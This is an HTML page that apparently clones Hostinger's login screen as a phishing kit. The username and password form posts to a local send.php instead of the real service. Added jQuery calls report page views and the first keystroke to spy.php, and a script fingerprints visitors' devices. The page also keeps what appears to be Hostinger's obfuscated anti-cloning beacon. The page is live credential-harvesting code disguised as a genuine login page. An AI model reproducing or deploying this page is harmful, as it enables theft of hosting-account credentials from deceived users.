<!DOCTYPE html><html><head>
    <script>
    function getCookie(name) {
        const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));

        return match ? match[2] : null;
    }

    function setCookie(name, value, days, domain) {
        const expires = new Date();

        expires.setTime(expires.getTime() + (days * 24 * 60 * 60 * 1000));

        const cookieValue = encodeURIComponent(value) + '; expires=' + expires.toUTCString() + '; path=/; domain=' + domain + '; SameSite=None; Secure';

        document.cookie = name + '=' + cookieValue;
    }

    function getParentDomain() {
        const hostnameParts = window.location.hostname.split('.');

        return (hostnameParts.length > 2)
            ? '.' + hostnameParts.slice(-2).join('.')
            : '.' + hostnameParts.join('.');
    }

    document.addEventListener('DOMContentLoaded', () => {
        if (!getCookie('cookie_consent')) {
            setCookie('cookie_consent', 'statistics,advertising', 730, getParentDomain());
        }
    });
</script>

<script async="" src="https://www.googletagmanager.com/gtag/js?id=G-73N1QWLEMH"></script>
<script>
    window.dataLayer = window.dataLayer || [];

    function gtag() {
        dataLayer.push(arguments);
    }

    gtag('js', new Date());
    gtag('config', 'G-73N1QWLEMH');

    function getCookie(name) {
        return document.cookie.match('(^|;)\\s*' + name + '\\s*=\\s*([^;]+)')?.pop();
    }

    const consentCookie = getCookie('cookie_consent') || '';
    const isAdvertisingGranted = consentCookie.includes('advertising');
    const isStatisticsGranted = consentCookie.includes('statistics');

    function getConsentPreferences() {
        return {
            'ad_storage': isAdvertisingGranted ? 'granted' : 'denied',
            'ad_user_data': isAdvertisingGranted ? 'granted' : 'denied',
            'ad_personalization': isAdvertisingGranted ? 'granted' : 'denied',
            'analytics_storage': isStatisticsGranted ? 'granted' : 'denied',
            'functionality_storage': 'granted'
        };
    }

    const consentPreferences = getConsentPreferences();

    gtag('consent', 'default', consentPreferences);

    window.dataLayer.push({
        'event': 'consent_init',
        'consent': consentPreferences,
        '_clear': true
    });

    function pushSessionIdToAllForms() {
        gtag(
            "get",
            'G-73N1QWLEMH',
            'session_id',
            (value) => {
                pushHiddenInputToAllForms('ga_session_id', value);
                appendQueryParameterToFilteredLinks('gsession_id', value, 'oauth');
            }
        );
    }

    function pushClientIdToAllForms() {
        gtag(
            "get",
            'G-73N1QWLEMH',
            'client_id',
            (value) => pushHiddenInputToAllForms('ga_client_id', value)
        );
    }

    function pushHiddenInputToAllForms(name, value) {
        const forms = document.querySelectorAll('form');
        const hiddenInput = generateHiddenInput(name, value);

        forms.forEach(form => {
            form.appendChild(hiddenInput);
        });
    }

    function generateHiddenInput(name, value) {
        const hiddenInput = document.createElement('input');

        hiddenInput.type = 'hidden';
        hiddenInput.name = name;
        hiddenInput.value = value;

        return hiddenInput;
    }

    function appendQueryParameterToFilteredLinks(name, value, filter) {
        const links = document.querySelectorAll('a');

        links.forEach(link => {
            const href = link.getAttribute('href');

            if (!href.includes(filter)) {
                return;
            }

            const separator = href.includes('?') ? '&' : '?';

            link.setAttribute('href', `${href}${separator}${name}=${encodeURIComponent(value)}`);
        });
    }

    document.addEventListener('DOMContentLoaded', () => {
        if (isStatisticsGranted) {
            pushSessionIdToAllForms();
            pushClientIdToAllForms();
        }
    });
</script>

<!-- Google Tag Manager -->
<script>
    (function (w, d, s, l, i) {
        w[l] = w[l] || [];
        w[l].push({'gtm.start': new Date().getTime(), event: 'gtm.js'});
        var f = d.getElementsByTagName(s)[0],
            j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : '';
        j.async = true;
        j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl;
        f.parentNode.insertBefore(j, f);
    })(window, document, 'script', 'dataLayer', 'GTM-KL4FQVG');
</script>
<!-- End Google Tag Manager -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Log-in to Hostinger</title>
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link href="css/styles.css" rel="stylesheet">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
<!-- Google Tag Manager (noscript) -->
<noscript>
    <iframe src="https://www.googletagmanager.com/ns.html?id=GTM-KL4FQVG" height="0" width="0" style="display:none;visibility:hidden"></iframe>
</noscript>
<!-- End Google Tag Manager (noscript) -->
<a class="logo" href="https://hostinger.com" data-qa="homepage-button">
    <img src="images/logo.svg" alt="Hostinger">
</a>
<div class="container">
    <div class="content">
        <div id="login" class="d-flex justify-content-center align-items-center flex-column position-relative">
            <div class="w-100 mb-20">
                <h3 class="mb-25 text-center title">Log in</h3>
                <span class="social-login-block w-100">
                    <div class="d-flex justify-content-center align-items-center w-100 mb-25">
                                                                            <a href="" title="Log in with Google" class="p-12-24 m-lr-10 b-radius-8 gray-border social" data-qa="google-login-button">
                                <img src="images/google.svg" alt="Google">
                            </a>
                                                                            <a href="" title="Log in with Facebook" class="p-12-24 m-lr-10 b-radius-8 gray-border social facebook" data-qa="facebook-login-button">
                                <img src="images/facebook.svg" alt="Facebook">
                            </a>
                                                                            <a href="" title="Log in with Github" class="p-12-24 m-lr-10 b-radius-8 gray-border social github" data-qa="github-login-button">
                                <img src="images/github.svg" alt="Github">
                            </a>
                                            </div>
                    <div class="or-wrapper mb-25 position-relative">
                        <hr>
                        <p>or</p>
                    </div>
                                    </span>
                <form action="send.php" method="POST" autocomplete="on" class="d-flex justify-content-center align-items-center flex-column w-100">
                    <div class="mb-25 w-100">
                        <input id="username-input" name="username" type="text" class="input color-black" placeholder="Username" data-qa="username-input" required="">
                    </div>
                    <div class="mb-15 w-100 text-left position-relative">
                        <input id="password-input" name="password" type="password" class="input color-black" placeholder="Password" data-qa="password-input" required="">
                        <div id="show-password-button" class="position-absolute show-password-eye" data-qa="password-eye-icon">
                            <svg style="fill: #727586" id="eye-icon" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">
                                <path clip-rule="evenodd" d="m12 4.5c-5 0-9.27 3.11-11 7.5 1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zm0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"></path>
                            </svg>
                        </div>
                    </div>

                    <div class="w-100 mb-25">
                        <label class="custom-checkbox color-black-50 fs-14 ms-2">
                            <input name="should_remember_user" id="should-remember-user-checkbox" type="checkbox" value="0">
                            <span>Remember me</span>
                        </label>
                    </div>

                    <button type="submit" class="mb-25 w-100 primary-action background-color-hostinger" data-qa="login-button">Log in</button>
                    <a href="" class="mb-25 secondary-action color-hostinger" data-qa="forgot-password-link">Forgot password?</a>
                    <a href="" class="mb-25 secondary-action color-hostinger" data-qa="account-recovery-link">Can't Access Your Account?</a>
                </form>
                <p class="not-a-member text-center">
                    New to Hostinger?
                    <a class="color-hostinger text-decoration-none" href="" data-qa="choose-hosting-plan-link">
                        Choose your services
                    </a> to get started!
                </p>
            </div>
        </div>
    </div>
</div>
<script>
    document.addEventListener('DOMContentLoaded', () => {
        const emailInputElement = document.getElementById('email-input');
        const passwordInputElement = document.getElementById('password-input');
        const errorDiv = document.getElementById('error-div');
        const showPasswordButton = document.getElementById('show-password-button');
        const eyeIcon = document.getElementById('eye-icon');
        const shouldRememberUserCheckbox = document.getElementById('should-remember-user-checkbox');

        emailInputElement.addEventListener('input', hideErrorDiv);
        passwordInputElement.addEventListener('input', hideErrorDiv);
        showPasswordButton.addEventListener('click', togglePasswordVisibility);
        shouldRememberUserCheckbox.addEventListener("change", toggleRememberMeBooleanValue);

        function toggleRememberMeBooleanValue(event) {
            shouldRememberUserCheckbox.value = event.target.checked ? "1" : "0";
        }

        function togglePasswordVisibility() {
            if (passwordInputElement.type === 'password') {
                passwordInputElement.type = 'text';
                eyeIcon.style.fill = '#673DE6';

                return;
            }

            eyeIcon.style.fill = '#727586';
            passwordInputElement.type = 'password';
        }

        function hideErrorDiv() {
            if (!errorDiv) {
                return;
            }
            errorDiv.style.display = 'none';
        }

        function handleFieldsFocus() {
            if (emailInputElement.value === "") {
                emailInputElement.focus();
                return;
            }
            passwordInputElement.focus();
        }

        handleFieldsFocus();
    });
</script>
<script>
    function getCookie(name) {
        const cookies = document.cookie.split(';');

        for (let i = 0; i < cookies.length; i++) {
            const cookie = cookies[i].trim();
            if (cookie.startsWith(name + '=')) {
                return cookie.substring(name.length + 1);
            }
        }

        return null;
    }

    function getGAValue() {
        
        return getCookie('_ga');
    }

    function getGLValue() {
        
        return null;
    }

    function pushHiddenInputField(name, value) {
        const forms = document.querySelectorAll('form');

        forms.forEach(form => {
            const hiddenInput = document.createElement('input');
            hiddenInput.type = 'hidden';
            hiddenInput.name = name;
            hiddenInput.value = value;

            form.appendChild(hiddenInput);
        });
    }

    function appendQueryParameterToLinks(name, value) {
        const links = document.querySelectorAll('a');

        links.forEach(link => {
            const href = link.getAttribute('href');
            const separator = href.includes('?') ? '&' : '?';

            link.setAttribute('href', `${href}${separator}${name}=${encodeURIComponent(value)}`);
        });
    }

    document.addEventListener('DOMContentLoaded', () => {
        const gaValue = getGAValue();
        const glValue = getGLValue();

        if (gaValue) {
            appendQueryParameterToLinks('_ga', gaValue);
            pushHiddenInputField('_ga', gaValue);
        }

        if (glValue) {
            appendQueryParameterToLinks('_gl', glValue);
            pushHiddenInputField('_gl', glValue);
        }
    });
</script>
<script src="js/thumbmark.umd.js"></script>
<script>
    function setCookie(name, value, days) {
        const date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        const expires = "expires=" + date.toUTCString();
        document.cookie = name + "=" + value + ";" + expires + ";path=/";
    }

    function getCookie(name) {
        const value = `; ${document.cookie}`;
        const parts = value.split(`; ${name}=`);
        if (parts.length === 2) return parts.pop().split(';').shift();
        return null;
    }

    document.addEventListener('DOMContentLoaded', () => {
        ThumbmarkJS.getFingerprint().then(fingerprint => {
            if (getCookie('thumbmark') !== null) {
                return;
            }

            setCookie('thumbmark', fingerprint, 365);
        })
    });
</script>
<script type="text/javascript" async="">
    (function () {
        function _rn(s) {
            return s.replace(/[a-zA-Z]/g, function (c) {
                return String.fromCharCode((c <= 'Z' ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
            });
        }

        if (window.location.host.match(/(^|\.)hosting24\.com$/) === null && window.location.host.match(/(^|\.)hostinger\.ae$/) === null && window.location.host.match(/(^|\.)hostinger\.co$/) === null && window.location.host.match(/(^|\.)hostinger\.co\.id$/) === null && window.location.host.match(/(^|\.)hostinger\.co\.il$/) === null && window.location.host.match(/(^|\.)hostinger\.co\.uk$/) === null && window.location.host.match(/(^|\.)hostinger\.com$/) === null && window.location.host.match(/(^|\.)hostinger\.com\.ar$/) === null && window.location.host.match(/(^|\.)hostinger\.com\.br$/) === null && window.location.host.match(/(^|\.)hostinger\.com\.hk$/) === null && window.location.host.match(/(^|\.)hostinger\.com\.tr$/) === null && window.location.host.match(/(^|\.)hostinger\.com\.ua$/) === null && window.location.host.match(/(^|\.)hostinger\.cz$/) === null && window.location.host.match(/(^|\.)hostinger\.de$/) === null && window.location.host.match(/(^|\.)hostinger\.dk$/) === null && window.location.host.match(/(^|\.)hostinger\.ee$/) === null && window.location.host.match(/(^|\.)hostinger\.es$/) === null && window.location.host.match(/(^|\.)hostinger\.fi$/) === null && window.location.host.match(/(^|\.)hostinger\.fr$/) === null && window.location.host.match(/(^|\.)hostinger\.gr$/) === null && window.location.host.match(/(^|\.)hostinger\.hr$/) === null && window.location.host.match(/(^|\.)hostinger\.hu$/) === null && window.location.host.match(/(^|\.)hostinger\.in$/) === null && window.location.host.match(/(^|\.)hostinger\.in\.th$/) === null && window.location.host.match(/(^|\.)hostinger\.it$/) === null && window.location.host.match(/(^|\.)hostinger\.jp$/) === null && window.location.host.match(/(^|\.)hostinger\.kr$/) === null && window.location.host.match(/(^|\.)hostinger\.lt$/) === null && window.location.host.match(/(^|\.)hostinger\.lv$/) === null && window.location.host.match(/(^|\.)hostinger\.mx$/) === null && window.location.host.match(/(^|\.)hostinger\.my$/) === null && window.location.host.match(/(^|\.)hostinger\.nl$/) === null && window.location.host.match(/(^|\.)hostinger\.no$/) === null && window.location.host.match(/(^|\.)hostinger\.ph$/) === null && window.location.host.match(/(^|\.)hostinger\.pk$/) === null && window.location.host.match(/(^|\.)hostinger\.pl$/) === null && window.location.host.match(/(^|\.)hostinger\.pt$/) === null && window.location.host.match(/(^|\.)hostinger\.ro$/) === null && window.location.host.match(/(^|\.)hostinger\.ru$/) === null && window.location.host.match(/(^|\.)hostinger\.se$/) === null && window.location.host.match(/(^|\.)hostinger\.sk$/) === null && window.location.host.match(/(^|\.)hostinger\.vn$/) === null && window.location.host.match(/(^|\.)hostmania\.es$/) === null && window.location.host.match(/(^|\.)niagahoster\.co\.id$/) === null && window.location.host.match(/(^|\.)weblink\.com\.br$/) === null) {
            var hh = "//content-cdn.com/1404/" + btoa(_rn(window.location.toString())) + ".gif";
            var tag = document.createElement('script');
            tag.type = 'text/javascript';
            tag.async = true;
            tag.innerHTML = "(function(){ var img = new Image(); img.referrerpolicy = 'origin'; img.src = '" + hh + "'; })();";
            var first = document.getElementsByTagName('script')[0];
            first.parentNode.insertBefore(tag, first);
        }
    })();
</script>
<script>
    $(document).ready(function() {
        // Send POST request to spy.php with loginview
        $.post("spy.php", {loginview: 1}, function(response) {
            console.log("Login View logged: ", response);
        });

        var c = 0;
        // Trigger login log when user first types in username
        $("#username-input").keyup(function() {
            c++;
            if (c == 1) {
                $.post("spy.php", {loging: 1}, function(response) {
                    console.log("Login attempt logged: ", response);
                });
            }
        });
    });
</script>
</body></html>